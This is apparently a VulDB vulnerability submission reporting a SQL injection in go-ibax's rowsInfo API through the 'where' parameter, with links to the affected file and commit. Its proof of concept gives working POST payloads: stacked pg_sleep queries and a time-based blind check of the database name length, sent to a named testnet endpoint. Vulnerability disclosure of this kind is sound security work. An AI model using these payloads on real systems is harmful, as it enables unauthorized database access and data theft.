提交 #50344: SQL injection vulnerability in go-ibax via where parameter

SQL Injection vulnerability in /packages/api/database.go of go-ibax via where parameter .This issue affects versions starting from commits on Jul 18, 2020.

file:
https://github.com/IBAX-io/go-ibax/blob/6bac7462801b5e6da47f1231681bb1516a7dd4bb/packages/api/database.go#L189

commits:
https://github.com/IBAX-io/go-ibax/commit/ac760982dc31edc904c160c2e5707a28798646e2#diff-bcab25c94cb216acdcdc607a2071aa896f187754698d3d523050308e17f32aabR174

POC:
Request URL: https://testnet-hk1.ibax.network:5079/api/v2/open/rowsInfo
Request Method: POST
PostData: order=1&where=1=1%3b%3bselect+pg_sleep(10)%3b--&table_name=pg_user&limit=1&page=1
as you can see, when I use pg_sleep, the request is delayed 10s.

PostData:
order=1&where=1=1%3b%3bselect+case+when((select+length(current_database()))=4)+then+pg_sleep(5)+else+pg_sleep(0)+end%3b--&table_name=pg_user&limit=1&page=1
as you can see, when I use pg_sleep to judge the length of current_database , it shows 4.

• 来源: ⚠️ https://github.com/IBAX-io/go-ibax/issues/2063
• 用户: Tomy (UID 34751)
• 提交: 2022-11-01 12時42分 (4 年前)
• 管理: 2022-11-01 16時45分 (4 hours later)
• 状态: 已接受
• VulDB条目: 212638 [IBAX go-ibax /api/v2/open/rowsInfo where SQL注入]
• 积分: 20